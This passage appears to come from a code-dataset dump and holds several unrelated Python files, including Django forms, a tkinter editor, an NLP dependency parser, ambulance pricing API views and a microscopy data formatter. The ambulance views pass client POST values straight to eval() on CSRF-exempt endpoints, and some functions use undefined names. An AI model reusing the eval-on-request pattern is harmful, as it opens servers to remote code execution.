Session\n\n\nclass Folders(Session):\n \"\"\"\n Folders class\n \"\"\"\n\n def __init__(self, session, folder_guid='', provider_guid=''):\n self.api_key = session.api_key\n self.api_endpoint = '/v1/folders'\n self.api_variables = {\n 'folderguid': folder_guid,\n 'providerguid': provider_guid\n }\n self.api_paths = {\n 'root': '/',\n 'folder': '/%(folder_guid)s',\n 'companies': '/%(folder_guid)s/companies',\n 'products': '/%(folder_guid)s/products',\n 'product types': '/%(folder_guid)s/product-types',\n 'providers': '/%(folder_guid)s/providers',\n 'dependent companies': '/%(folder_guid)s/providers/%(provider_guid)s/companies',\n 'provider products': '/%(folder_guid)s/providers/%(provider_guid)s/products'\n }\n self.api_params = []\n","repo_name":"InfosecSapper/BitSightAPI","sub_path":"BitSightAPI/folders.py","file_name":"folders.py","file_ext":"py","file_size_in_byte":911,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"37"} +{"seq_id":"28339000247","text":"from django import forms\nfrom django.contrib import auth\nfrom django.contrib.auth.models import User\nfrom django.core.exceptions import ValidationError\nfrom comment.form import CommentForm\n\nclass ChangeNameForm(forms.Form):\n nickname_new = forms.CharField(\n label='新昵称',\n max_length=24,\n widget=forms.TextInput(\n attrs={'class':'form-control','placeholder':'请输入新的昵称'}\n )\n )\n def __init__(self,*args,**kwargs):\n if 'user' in kwargs:\n self.use = kwargs.pop('user')\n super(ChangeNameForm,self).__init__(*args,**kwargs)\n\n def clean(self):\n if self.user.is_authenticated:\n self.cleaned_data['user'] = self.user\n else:\n raise forms.ValidationError('用户未登录')\n return self.cleaned_data\n\n def clean_nickname_new(self):\n nickname_new = self.cleaned_data.get('nickname_new','').strip()#去除所有空格\n if nickname_new == '':\n raise ValidationError(\"新的昵称不能为空\")\n return nickname_new\n\n","repo_name":"lj598/time_blog","sub_path":"user/form.py","file_name":"form.py","file_ext":"py","file_size_in_byte":1078,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"29348404004","text":"from tkinter import *\n\n\ndef OpFile():\n f1=open(text2.get())\n text.delete(1.0, END)\n text.insert(1.0, f1.read())\n\n\ndef SvFile():\n f1 = open(text2.get(), 'x')\n f1.write(text.get(1.0, END))\n text.delete(1.0, END)\n\n\nroot = Tk()\nf = Frame()\nf.pack()\ntext2 = Entry(f, width=20)\ntext2.pack()\n\nButton(f, text=\"Открыть\", command=OpFile)\\\n .pack(side=LEFT)\nButton(f, text=\"Сохранить\", command=SvFile)\\\n .pack(side=LEFT)\n\nf2 = Frame()\nf2.pack()\ntext = Text(f2, width=50, height=20, wrap=NONE)\ntext.pack(side=LEFT)\n\nscroll = Scrollbar(f2, command=text.yview)\nscroll.pack(side=LEFT, fill=Y)\ntext.config(yscrollcommand=scroll.set)\n\nscroll2 = Scrollbar(orient=HORIZONTAL, command=text.xview)\nscroll2.pack(side=BOTTOM, fill=X)\ntext.config(xscrollcommand=scroll2.set)\n\nroot.mainloop()","repo_name":"Mirrox2808/sistem_prog","sub_path":"system_programming/text_multiline/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":807,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"18416141785","text":"class DeviceContrl:\n\n def __init__(self, device_dic):\n '''\n device = {\"device name\":{ID:010101010101,state:True/False,pin:int}}\n '''\n self.device = device_dic\n self.LAMP = False\n self.FAN = False\n self.TEMPERRUTURE = None # '设备未连接'\n self.HUMIDITY = None # '设备未连接'\n self.ERROR = False # '设备本身已处于开启/关闭状态'\n self.SUCCESS = True # '收到'\n self.room_dic = self.getRoomDic(device_dic)\n print(\"控制系统已就绪\")\n\n\n def getState(self, name):\n # 通过设备名称获取设备状态\n return self.device[name][\"state\"]\n\n def getPin(self, name):\n # 通过设备名称获取Pin引脚\n return self.device[name][\"pin\"]\n\n def getID(self, name):\n # 通过设备名称获取ID\n return self.device[name][\"ID\"]\n\n def getName(self, ID):\n # 通过ID获取设备名称\n for name in self.device.keys():\n if self.getID(name) == ID:\n return name\n return None\n\n def getNameByPin(self, pin):\n # 通过Pin引脚获取设备名称\n for name in self.device.keys():\n if self.getPin(name) == pin:\n return name\n return None\n\n def getStateByPin(self, pin):\n # 通过Pin引脚获取设备状态\n for name in self.device.keys():\n if self.getPin(name) == pin:\n return self.getState(name)\n return None\n\n def changeStateByName(self, name):\n # 通过设备名称改变设备状态\n print(name, self.device[name][\"state\"])\n if self.device[name][\"state\"]:\n self.device[name][\"state\"] = False\n else:\n self.device[name][\"state\"] = True\n\n def switchByPin(self, pin, goal, name=None):\n if pin == None:\n pin = self.getPin(name)\n # 通过Pin引脚控制设备\n if self.getStateByPin(pin) == goal:\n return name,self.ERROR\n else:\n if name == None:\n name = self.getNameByPin(pin)\n self.changeStateByName(name)\n return name,self.SUCCESS\n\n def switchByName(self, name, goal):\n # 通过设备名引脚控制设备\n print(\"name : \", name, \"goal :\", goal)\n return self.switchByPin(None, goal, name)\n\n def getRoomDic(self,data_dic):\n # 获取房屋结构\n room_dic = {}\n for line in data_dic.keys():\n room_dic[line.split(\"/\")[0]] = []\n for line in data_dic.keys():\n room_dic[line.split(\"/\")[0]].append(line.split(\"/\")[1])\n return room_dic\n\n def getDevice(self, device):\n the_device = list()\n # 获取同一设备的所有房间\n for line in self.room_dic.keys():\n if device in self.room_dic[line]:\n the_device.append(line + \"/\" + device)\n return the_device\n\n # def contrl(self,command, state):\n # if room == None:\n # temp = self.getDevice(command)\n # if len(temp) == 0:\n # # 无设备\n # return None\n # elif len(temp) == 1:\n # # 只查到了一个设备\n # command = temp[0]\n # print(command)\n # else:\n # print(\"设备表出错了!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\")\n # return self.switchByName(command, state)\n\nif __name__ == '__main__':\n test_device = {\"厨房/灯\": {\"ID\": \"0010\", \"state\": False, \"pin\": 18},\n \"客厅/灯\": {\"ID\": \"0060\", \"state\": False, \"pin\": 35},\n \"客厅/电视\": {\"ID\": \"0060\", \"state\": True, \"pin\": 15}}\n contril_flow = DeviceContrl(test_device)\n print(contril_flow.switchByName(\"客厅/灯\", False))","repo_name":"FeiYee/Smart-Home-Control-System","sub_path":"Contrl.py","file_name":"Contrl.py","file_ext":"py","file_size_in_byte":3867,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"19933277417","text":"import functools\nimport os\nfrom typing import Union, Any, List\n\nimport torch\nfrom alnlp.modules.util import lengths_to_mask\nfrom torch import nn\nfrom torch.optim import Adam\nfrom torch.optim.lr_scheduler import ExponentialLR\nfrom torch.utils.data import DataLoader\n\nfrom elit.common.constant import UNK, IDX\nfrom elit.common.dataset import PadSequenceDataLoader\nfrom elit.common.structure import History\nfrom elit.common.torch_component import TorchComponent\nfrom elit.common.transform import LowerCase, FieldLength, PunctuationMask, TransformList\nfrom elit.common.vocab import Vocab, VocabCounter\nfrom elit.components.parsers.conll import CoNLLSentence, CoNLLWord\nfrom elit.components.parsers.constituency.treecrf import CRF2oDependency\nfrom elit.components.parsers.second_order.model import DependencyModel\nfrom elit.components.parsers.second_order.treecrf_decoder import TreeCRFDecoder\nfrom elit.datasets.parsing.conll_dataset import CoNLLParsingDataset, append_bos, get_sibs\nfrom elit.layers.embeddings.contextual_word_embedding import ContextualWordEmbedding, ContextualWordEmbeddingModule\nfrom elit.layers.embeddings.embedding import Embedding, EmbeddingList, ConcatModuleList\nfrom elit.layers.embeddings.util import index_word2vec_with_vocab\nfrom elit.layers.transformers.pt_imports import AutoModel_\nfrom elit.layers.transformers.utils import build_optimizer_scheduler_with_transformer\nfrom elit.metrics.parsing.attachmentscore import AttachmentScore\nfrom elit.transform.transformer_tokenizer import TransformerSequenceTokenizer\nfrom elit.utils.time_util import CountdownTimer\nfrom elit.utils.util import merge_locals_kwargs, merge_dict, reorder\n\n\nclass TreeConditionalRandomFieldDependencyParser(TorchComponent):\n def __init__(self) -> None:\n super().__init__()\n self.model: DependencyModel = self.model\n self._transformer_transform = None\n\n def predict(self, data: Any, batch_size=None, batch_max_tokens=None, output_format='conllx', **kwargs):\n if not data:\n return []\n use_pos = self.use_pos\n flat = self.input_is_flat(data, use_pos)\n if flat:\n data = [data]\n samples = self.build_samples(data, use_pos)\n if not batch_max_tokens:\n batch_max_tokens = self.config.batch_max_tokens\n if not batch_size:\n batch_size = self.config.batch_size\n dataloader = self.build_dataloader(samples,\n device=self.devices[0], shuffle=False,\n **merge_dict(self.config,\n batch_size=batch_size,\n batch_max_tokens=batch_max_tokens,\n overwrite=True,\n **kwargs))\n predictions, build_data, data, order = self.before_outputs(data)\n for batch in dataloader:\n arc_scores, rel_scores, mask, puncts = self.feed_batch(batch)\n self.collect_outputs(arc_scores, rel_scores, mask, batch, predictions, order, data, use_pos,\n build_data)\n outputs = self.post_outputs(predictions, data, order, use_pos, build_data)\n if flat:\n return outputs[0]\n return outputs\n\n def build_samples(self, data, use_pos=None):\n samples = []\n for idx, each in enumerate(data):\n sample = {IDX: idx}\n if use_pos:\n token, pos = zip(*each)\n sample.update({'FORM': list(token), 'CPOS': list(pos)})\n else:\n token = each\n sample.update({'FORM': list(token)})\n samples.append(sample)\n return samples\n\n def input_is_flat(self, data, use_pos=None):\n if use_pos:\n flat = isinstance(data[0], (list, tuple)) and isinstance(data[0][0], str)\n else:\n flat = isinstance(data[0], str)\n return flat\n\n def before_outputs(self, data):\n predictions, order = [], []\n build_data = data is None\n if build_data:\n data = []\n return predictions, build_data, data, order\n\n def post_outputs(self, predictions, data, order, use_pos, build_data):\n predictions = reorder(predictions, order)\n if build_data:\n data = reorder(data, order)\n outputs = []\n self.predictions_to_human(predictions, outputs, data, use_pos)\n return outputs\n\n def predictions_to_human(self, predictions, outputs, data, use_pos):\n for d, (arcs, rels) in zip(data, predictions):\n sent = CoNLLSentence()\n for idx, (cell, a, r) in enumerate(zip(d, arcs, rels)):\n if use_pos:\n token, pos = cell\n else:\n token, pos = cell, None\n sent.append(CoNLLWord(idx + 1, token, cpos=pos, head=a, deprel=self.vocabs['rel'][r]))\n outputs.append(sent)\n\n def collect_outputs(self, arc_scores, rel_scores, mask, batch, predictions, order, data, use_pos,\n build_data):\n lens = [len(token) - 1 for token in batch['token']]\n arc_preds, rel_preds = self.decode(arc_scores, rel_scores, mask, batch)\n self.collect_outputs_extend(predictions, arc_preds, rel_preds, lens, mask)\n order.extend(batch[IDX])\n if build_data:\n if use_pos:\n data.extend(zip(batch['FORM'], batch['CPOS']))\n else:\n data.extend(batch['FORM'])\n\n def collect_outputs_extend(self, predictions: list, arc_preds, rel_preds, lens, mask):\n predictions.extend(zip([seq.tolist() for seq in arc_preds[mask].split(lens)],\n [seq.tolist() for seq in rel_preds[mask].split(lens)]))\n\n def fit(self,\n trn_data,\n dev_data,\n save_dir,\n embed,\n n_mlp_arc=500,\n n_mlp_rel=100,\n n_mlp_sib=100,\n mlp_dropout=.33,\n lr=2e-3,\n transformer_lr=5e-5,\n mu=.9,\n nu=.9,\n epsilon=1e-12,\n grad_norm=5.0,\n decay=.75,\n decay_steps=5000,\n weight_decay=0,\n warmup_steps=0.1,\n separate_optimizer=True,\n patience=100,\n lowercase=False,\n epochs=50000,\n tree=False,\n proj=True,\n mbr=True,\n partial=False,\n punct=False,\n min_freq=2,\n logger=None,\n verbose=True,\n unk=UNK,\n max_sequence_length=512,\n batch_size=None,\n sampler_builder=None,\n gradient_accumulation=1,\n devices: Union[float, int, List[int]] = None,\n transform=None,\n eval_trn=False,\n bos='\\0',\n **kwargs):\n return super().fit(**merge_locals_kwargs(locals(), kwargs))\n\n def execute_training_loop(self, trn, dev, devices, epochs, logger, patience, save_dir, optimizer,\n gradient_accumulation, **kwargs):\n optimizer, scheduler, transformer_optimizer, transformer_scheduler = optimizer\n criterion = self.build_criterion()\n best_e, best_metric = 0, self.build_metric()\n timer = CountdownTimer(epochs)\n history = History()\n ratio_width = len(f'{len(trn) // gradient_accumulation}/{len(trn) // gradient_accumulation}')\n for epoch in range(1, epochs + 1):\n # train one epoch and update the parameters\n logger.info(f\"[yellow]Epoch {epoch} / {epochs}:[/yellow]\")\n self.fit_dataloader(trn, optimizer, scheduler, criterion, epoch, logger, history,\n transformer_optimizer, transformer_scheduler,\n gradient_accumulation=gradient_accumulation, eval_trn=self.config.eval_trn)\n loss, dev_metric = self.evaluate_dataloader(dev, criterion, ratio_width=ratio_width, logger=logger)\n timer.update()\n # logger.info(f\"{'Dev' + ' ' * ratio_width} loss: {loss:.4f} {dev_metric}\")\n # save the model if it is the best so far\n report = f\"{timer.elapsed_human} / {timer.total_time_human} ETA: {timer.eta_human}\"\n if dev_metric > best_metric:\n best_e, best_metric = epoch, dev_metric\n self.save_weights(save_dir)\n report += ' ([red]saved[/red])'\n else:\n if patience != epochs:\n report += f' ({epoch - best_e}/{patience})'\n else:\n report += f' ({epoch - best_e})'\n logger.info(report)\n if patience is not None and epoch - best_e >= patience:\n logger.info(f'LAS has stopped improving for {patience} epochs, early stop.')\n break\n timer.stop()\n if not best_e:\n self.save_weights(save_dir)\n elif best_e != epoch:\n self.load_weights(save_dir)\n logger.info(f\"Max score of dev is {best_metric.score:.2%} at epoch {best_e}\")\n logger.info(f\"Average time of each epoch is {timer.elapsed_average_human}\")\n logger.info(f\"{timer.elapsed_human} elapsed\")\n\n def build_optimizer(self, epochs, trn, gradient_accumulation, **kwargs):\n config = self.config\n model = self.model\n if isinstance(model, nn.DataParallel):\n model = model.module\n transformer = self._get_transformer_builder()\n if transformer and transformer.trainable:\n transformer = self._get_transformer()\n optimizer = Adam(set(model.parameters()) - set(transformer.parameters()),\n config.lr,\n (config.mu, config.nu),\n config.epsilon)\n if self.config.transformer_lr:\n num_training_steps = len(trn) * epochs // gradient_accumulation\n if not self.config.separate_optimizer:\n optimizer, scheduler = build_optimizer_scheduler_with_transformer(model,\n transformer,\n config.lr,\n config.transformer_lr,\n num_training_steps,\n config.warmup_steps,\n config.weight_decay,\n config.epsilon)\n transformer_optimizer, transformer_scheduler = None, None\n else:\n transformer_optimizer, transformer_scheduler = \\\n build_optimizer_scheduler_with_transformer(transformer,\n transformer,\n config.lr,\n config.transformer_lr,\n num_training_steps,\n config.warmup_steps,\n config.weight_decay,\n config.epsilon)\n else:\n transformer.requires_grad_(False)\n transformer_optimizer, transformer_scheduler = None, None\n else:\n optimizer = Adam(model.parameters(),\n config.lr,\n (config.mu, config.nu),\n config.epsilon)\n transformer_optimizer, transformer_scheduler = None, None\n if self.config.separate_optimizer:\n scheduler = ExponentialLR(optimizer, config.decay ** (1 / config.decay_steps))\n # noinspection PyUnboundLocalVariable\n optimizer = Adam(model.parameters(), **{'lr': 0.002, 'betas': (0.9, 0.9), 'eps': 1e-12})\n scheduler = ExponentialLR(optimizer, **{'gamma': 0.9999424652406974})\n return optimizer, scheduler, transformer_optimizer, transformer_scheduler\n\n # noinspection PyMethodOverriding\n def build_dataloader(self,\n data,\n shuffle,\n device,\n embed: Embedding,\n training=False,\n logger=None,\n gradient_accumulation=1,\n sampler_builder=None,\n batch_size=None,\n bos='\\0',\n **kwargs) -> DataLoader:\n first_transform = TransformList(functools.partial(append_bos, bos=bos))\n embed_transform = embed.transform(vocabs=self.vocabs)\n transformer_transform = self._get_transformer_transform_from_transforms(embed_transform)\n if embed_transform:\n if transformer_transform and isinstance(embed_transform, TransformList):\n embed_transform.remove(transformer_transform)\n\n first_transform.append(embed_transform)\n dataset = self.build_dataset(data, first_transform=first_transform)\n if self.config.get('transform', None):\n dataset.append_transform(self.config.transform)\n\n if self.vocabs.mutable:\n self.build_vocabs(dataset, logger, self._transformer_trainable())\n if transformer_transform and isinstance(embed_transform, TransformList):\n embed_transform.append(transformer_transform)\n\n dataset.append_transform(FieldLength('token', 'sent_length'))\n if isinstance(data, str):\n dataset.purge_cache()\n if len(dataset) > 1000 and isinstance(data, str):\n timer = CountdownTimer(len(dataset))\n self.cache_dataset(dataset, timer, training, logger)\n if sampler_builder:\n lens = [sample['sent_length'] for sample in dataset]\n sampler = sampler_builder.build(lens, shuffle, gradient_accumulation)\n else:\n sampler = None\n loader = PadSequenceDataLoader(dataset=dataset,\n batch_sampler=sampler,\n batch_size=batch_size,\n pad=self.get_pad_dict(),\n device=device,\n vocabs=self.vocabs)\n return loader\n\n def cache_dataset(self, dataset, timer, training=False, logger=None):\n for each in dataset:\n timer.log('Preprocessing and caching samples [blink][yellow]...[/yellow][/blink]')\n\n def get_pad_dict(self):\n return {'arc': 0}\n\n def build_dataset(self, data, first_transform=None):\n if not first_transform:\n first_transform = append_bos\n transform = [first_transform, get_sibs]\n if self.config.get('lowercase', False):\n transform.append(LowerCase('token'))\n transform.append(self.vocabs)\n if not self.config.punct:\n transform.append(PunctuationMask('token', 'punct_mask'))\n return CoNLLParsingDataset(data, transform=transform)\n\n def build_tokenizer_transform(self):\n return TransformerSequenceTokenizer(self.transformer_tokenizer, 'token', '',\n ret_token_span=True, cls_is_bos=True,\n max_seq_length=self.config.get('max_sequence_length',\n 512),\n truncate_long_sequences=False)\n\n def build_vocabs(self, dataset, logger=None, transformer=False):\n rel_vocab = self.vocabs.get('rel', None)\n if rel_vocab is None:\n rel_vocab = Vocab(unk_token=None, pad_token=self.config.get('pad_rel', None))\n self.vocabs.put(rel=rel_vocab)\n\n timer = CountdownTimer(len(dataset))\n if transformer:\n token_vocab = None\n else:\n self.vocabs.token = token_vocab = VocabCounter(unk_token=self.config.get('unk', UNK))\n for i, sample in enumerate(dataset):\n timer.log('Building vocab [blink][yellow]...[/yellow][/blink]', ratio_percentage=True)\n min_freq = self.config.get('min_freq', None)\n if min_freq:\n token_vocab.trim(min_freq)\n rel_vocab.set_unk_as_safe_unk() # Some relation in dev set is OOV\n self.vocabs.lock()\n self.vocabs.summary(logger=logger)\n if token_vocab:\n self.config.n_words = len(self.vocabs['token'])\n self.config.n_rels = len(self.vocabs['rel'])\n if token_vocab:\n self.config.pad_index = self.vocabs['token'].pad_idx\n self.config.unk_index = self.vocabs['token'].unk_idx\n\n # noinspection PyMethodOverriding\n def build_model(self, embed: Embedding, encoder, n_mlp_arc, n_mlp_rel, mlp_dropout, n_mlp_sib, training=True,\n **kwargs) -> torch.nn.Module:\n model = DependencyModel(\n embed=embed.module(vocabs=self.vocabs),\n encoder=encoder,\n decoder=TreeCRFDecoder(encoder.get_output_dim(), n_mlp_arc, n_mlp_sib, n_mlp_rel, mlp_dropout,\n len(self.vocabs['rel']))\n )\n return model\n\n def build_embeddings(self, training=True):\n pretrained_embed = None\n if self.config.get('pretrained_embed', None):\n pretrained_embed = index_word2vec_with_vocab(self.config.pretrained_embed, self.vocabs['token'],\n init='zeros', normalize=True)\n transformer = self.config.transformer\n if transformer:\n transformer = AutoModel_.from_pretrained(transformer, training=training)\n return pretrained_embed, transformer\n\n # noinspection PyMethodOverriding\n def fit_dataloader(self,\n trn,\n optimizer,\n scheduler,\n criterion,\n epoch,\n logger,\n history: History,\n transformer_optimizer=None,\n transformer_scheduler=None,\n gradient_accumulation=1,\n eval_trn=False,\n **kwargs):\n self.model.train()\n\n timer = CountdownTimer(history.num_training_steps(len(trn), gradient_accumulation))\n metric = self.build_metric(training=True)\n total_loss = 0\n for idx, batch in enumerate(trn):\n optimizer.zero_grad()\n (s_arc, s_sib, s_rel), mask, puncts = self.feed_batch(batch)\n arcs, sibs, rels = batch['arc'], batch['sib_id'], batch['rel_id']\n\n loss, s_arc = self.compute_loss(s_arc, s_sib, s_rel, arcs, sibs, rels, mask)\n if gradient_accumulation > 1:\n loss /= gradient_accumulation\n loss.backward()\n total_loss += loss.item()\n if eval_trn:\n arc_preds, rel_preds = self.decode(s_arc, s_sib, s_rel, mask)\n self.update_metric(arc_preds, rel_preds, arcs, rels, mask, puncts, metric)\n if history.step(gradient_accumulation):\n self._step(optimizer, scheduler, transformer_optimizer, transformer_scheduler)\n report = self._report(total_loss / (timer.current + 1), metric if eval_trn else None)\n lr = scheduler.get_last_lr()[0]\n report += f' lr: {lr:.4e}'\n timer.log(report, ratio_percentage=False, logger=logger)\n del loss\n\n def _step(self, optimizer, scheduler, transformer_optimizer, transformer_scheduler):\n if self.config.get('grad_norm', None):\n nn.utils.clip_grad_norm_(self.model.parameters(),\n self.config.grad_norm)\n optimizer.step()\n scheduler.step()\n if self._transformer_transform and self.config.transformer_lr and transformer_optimizer:\n transformer_optimizer.step()\n transformer_optimizer.zero_grad()\n transformer_scheduler.step()\n\n def feed_batch(self, batch):\n words, feats, lens, puncts = batch.get('token_id', None), batch.get('pos_id', None), batch['sent_length'], \\\n batch.get('punct_mask', None)\n mask = lengths_to_mask(lens)\n logits = self.model(batch, mask)\n if self.model.training:\n mask = mask.clone()\n # ignore the first token of each sentence\n mask[:, 0] = 0\n return logits, mask, puncts\n\n def _report(self, loss, metric: AttachmentScore = None):\n return f'loss: {loss:.4f} {metric}' if metric else f'loss: {loss:.4f}'\n\n def compute_loss(self, s_arc, s_sib, s_rel, arcs, sibs, rels, mask):\n crf: CRF2oDependency = self.model.decoder.crf\n return crf.loss(s_arc, s_sib, s_rel, arcs, sibs, rels, mask, self.config.mbr, self.config.partial)\n\n # noinspection PyUnboundLocalVariable\n @torch.no_grad()\n def evaluate_dataloader(self, loader: PadSequenceDataLoader, criterion, logger=None, filename=None, output=False,\n ratio_width=None,\n metric=None,\n **kwargs):\n self.model.eval()\n\n total_loss = 0\n if not metric:\n metric = self.build_metric()\n\n timer = CountdownTimer(len(loader))\n for batch in loader:\n (s_arc, s_sib, s_rel), mask, puncts = self.feed_batch(batch)\n arcs, sibs, rels = batch['arc'], batch['sib_id'], batch['rel_id']\n loss, s_arc = self.compute_loss(s_arc, s_sib, s_rel, arcs, sibs, rels, mask)\n total_loss += float(loss)\n arc_preds, rel_preds = self.decode(s_arc, s_sib, s_rel, mask)\n self.update_metric(arc_preds, rel_preds, arcs, rels, mask, puncts, metric)\n report = self._report(total_loss / (timer.current + 1), metric)\n if filename:\n report = f'{os.path.basename(filename)} ' + report\n timer.log(report, ratio_percentage=False, logger=logger, ratio_width=ratio_width)\n total_loss /= len(loader)\n\n return total_loss, metric\n\n def update_metric(self, arc_preds, rel_preds, arcs, rels, mask, puncts, metric):\n # ignore all punctuation if not specified\n if not self.config.punct:\n mask &= puncts\n metric(arc_preds, rel_preds, arcs, rels, mask)\n\n def decode(self, s_arc, s_sib, s_rel, mask):\n crf: CRF2oDependency = self.model.decoder.crf\n return crf.decode(s_arc, s_sib, s_rel, mask, self.config.tree and not self.model.training, self.config.mbr,\n self.config.proj)\n\n def build_criterion(self, **kwargs):\n return None\n\n def build_metric(self, **kwargs):\n return AttachmentScore()\n\n def _get_transformer_transform_from_transforms(self, transform: Union[\n TransformList, TransformerSequenceTokenizer]) -> TransformerSequenceTokenizer:\n def _get():\n if isinstance(transform, TransformerSequenceTokenizer):\n # noinspection PyTypeChecker\n return transform\n elif isinstance(transform, TransformList):\n # noinspection PyTypeChecker,PyArgumentList\n for each in transform:\n if isinstance(each, TransformerSequenceTokenizer):\n return each\n\n if self._transformer_transform is None:\n self._transformer_transform = _get()\n return self._transformer_transform\n\n def _get_transformer(self):\n embed = self.model.embed\n if isinstance(embed, ContextualWordEmbeddingModule):\n return embed\n if isinstance(embed, ConcatModuleList):\n for each in embed:\n if isinstance(each, ContextualWordEmbeddingModule):\n return each\n\n def _get_transformer_builder(self):\n embed: Embedding = self.config.embed\n if isinstance(embed, ContextualWordEmbedding):\n return embed\n if isinstance(embed, EmbeddingList):\n for each in embed.to_list():\n if isinstance(embed, ContextualWordEmbedding):\n return each\n\n def _transformer_trainable(self):\n builder = self._get_transformer_builder()\n if not builder:\n return False\n return builder.trainable\n","repo_name":"emorynlp/elit","sub_path":"elit/components/parsers/second_order/tree_crf_dependency_parser.py","file_name":"tree_crf_dependency_parser.py","file_ext":"py","file_size_in_byte":25092,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"37"} +{"seq_id":"7147201762","text":"import json\n\nfrom django.http import HttpResponse\nfrom django.views.decorators.csrf import csrf_exempt\n\nfrom core.models.ambulance import Ambulance\nfrom core.models.ambulance_location import AmbulanceLocation\nfrom core.models.ambulance_rate import AmbulanceRate\nfrom core.models.base_model import get_object_or_none\n\n\n@csrf_exempt\ndef get_ambulance_initial_price(request):\n if request.method == \"POST\":\n try:\n city = request.POST['city']\n distance = request.POST['distance']\n\n cityrate = AmbulanceRate.objects.filter(city=city)\n if cityrate:\n response = json.dumps({'status': 'ok', 'standard_price':str(get_price(cityrate[0],distance,\"standard\")),\n 'deluxe_price': str(get_price(cityrate[0], distance,\"deluxe\"))})\n\n\n except Exception as ex:\n response = json.dumps({'status': 'error', 'message':str(ex)})\n\n else:\n response = json.dumps({'status': 'error', 'message': \"Method not allowed\"})\n return HttpResponse(response, content_type='application/json')\n\n\ndef get_price(cityrate, distance, type=\"standard\"):\n\n if eval(distance) <= eval(cityrate.minumum_distance):\n price = eval(cityrate.minumum_rate)\n\n else:\n price = eval(distance) * eval(cityrate.rate_per_minumum_distance)\n\n if type == \"deluxe\":\n price = price * eval(cityrate.deluxe_rate)\n return round(price,2)\n\n\n\n@csrf_exempt\ndef get_ambulance_current_location(request):\n response = json.dumps({'status': 'error', 'message': \"\"})\n if request.method == \"POST\":\n try:\n reg_num = request.POST['reg_num']\n ambulance = get_object_or_none(Ambulance,registration_number = reg_num)\n if ambulance:\n\n amb_loc = get_object_or_none(AmbulanceLocation,ambulance = ambulance)\n if amb_loc:\n response = json.dumps({'status': 'ok', 'lat':str(amb_loc.lat),\n 'long': str(amb_loc.long)})\n\n\n except Exception as ex:\n response = json.dumps({'status': 'error', 'message':str(ex)})\n\n else:\n response = json.dumps({'status': 'error', 'message': \"Method not allowed\"})\n return HttpResponse(response, content_type='application/json')\n\n\n\n@csrf_exempt\ndef get_num_ambulance_available(request):\n if request.method == \"POST\":\n try:\n user_latitude= request.POST['from_latitude']\n user_longitude = request.POST['from_longitude']\n city\n\n cityrate = AmbulanceRate.objects.filter(city=city)\n if cityrate:\n response = json.dumps({'status': 'ok', 'price':str(get_price(cityrate[0],distance))})\n\n\n except Exception as ex:\n response = json.dumps({'status': 'error', 'message':str(ex)})\n\n else:\n response = json.dumps({'status': 'error', 'message': \"Method not allowed\"})\n return HttpResponse(response, content_type='application/json')\n\n@csrf_exempt\ndef set_ambulance_last_location(request):\n ambulance_latitude = request.POST['current_latitude']\n ambulance_longitude = request.POST['current_longitude']\n reg_num = request.POST['ambulance_reg_num']\n ambulance = Ambulance.get_ambulance_with_reg_num(reg_num)\n if AmbulanceLocation.create_or_edit(ambulance=ambulance,long=ambulance_longitude,\n lat=ambulance_latitude):\n response = json.dumps({'status': 'ok', 'message':\"Location added\"})\n else:\n response = json.dumps({'status': 'error', 'message': \"Location not added\"})\n return HttpResponse(response, content_type='application/json')\n","repo_name":"Andrewsopoku/uahs_backend","sub_path":"api/views/ambulance.py","file_name":"ambulance.py","file_ext":"py","file_size_in_byte":3664,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"18040028514","text":"\"\"\"\n.. _format_baristaseq:\n\nFormat BaristaSeq\n=================\n\nThis script contains TileFetchers and FetchedTile objects to convert data donated by the Zador lab\nto SpaceTx Format. This is a good basic example of converting single-plane tiffs with multiple\nz-tiles.\n\n.. note::\n\n This example is provided for illustrative purposes, demonstrating how the\n :py:class:`.TileFetcher` is used in practice. It will need to be adapted to meet\n the specific needs of your data.\n\nThe data is from one field of view consisting of primary images and accompanying\nNissl-stained images. The primary images have 3 rounds, 4 channels, and 17 z-tiles. The Nissl\nimages have 1 round, 1 channel, and 17 z-tiles. Image tiles are all single-plane TIFFS with shape\n(800, 1000).\n\ninput data structure:\n::\n\n └── parent\n ├── nissl\n ├── T00001C05Z001.tif\n ├── T00001C05Z002.tif\n ├── T00001C05Z003.tif\n ├── ...\n └── primary\n ├── r0\n ├── T00001C01Z001.tif\n ├── T00001C01Z002.tif\n ├── T00001C01Z003.tif\n ├── ...\n ├── r1\n ├── alignedT00001C01Z001.tif\n ├── alignedT00001C01Z002.tif\n ├── alignedT00001C01Z003.tif\n ├── ...\n └── r2\n ├── alignedT00001C01Z001.tif\n ├── alignedT00001C01Z002.tif\n ├── alignedT00001C01Z003.tif\n ├── ...\n\nThe locations of the data files for use with this script can be found in the\ndocstring for ``format_data``.\n\"\"\"\n\nimport os\nimport shutil\nfrom typing import Mapping, Union\n\nimport click\nimport numpy as np\nfrom skimage.io import imread\nfrom slicedimage import ImageFormat\n\nfrom starfish.experiment.builder import FetchedTile, TileFetcher, write_experiment_json\nfrom starfish.types import Axes, Coordinates, CoordinateValue\n\nDEFAULT_TILE_SHAPE = {Axes.Y: 1000, Axes.X: 800}\n\n\nclass BaristaSeqTile(FetchedTile):\n def __init__(self, file_path):\n self.file_path = file_path\n\n @property\n def shape(self) -> Mapping[Axes, int]:\n return DEFAULT_TILE_SHAPE\n\n @property\n def coordinates(self) -> Mapping[Union[str, Coordinates], CoordinateValue]:\n # these are dummy coordinates\n return {\n Coordinates.X: (0.0, 0.0001),\n Coordinates.Y: (0.0, 0.0001),\n Coordinates.Z: (0.0, 0.0001),\n }\n\n @property\n def format(self) -> ImageFormat:\n return ImageFormat.TIFF\n\n def tile_data(self) -> np.ndarray:\n return imread(self.file_path)\n\n\nclass BaristaSeqTileFetcher(TileFetcher):\n def __init__(self, input_dir) -> None:\n self.input_dir = input_dir\n\n def get_tile(self, fov_id: int, hyb: int, ch_label: int, zplane_label: int) -> FetchedTile:\n subdir = \"primary\"\n round_dir = f\"r{hyb}\"\n if hyb == 0:\n filename = 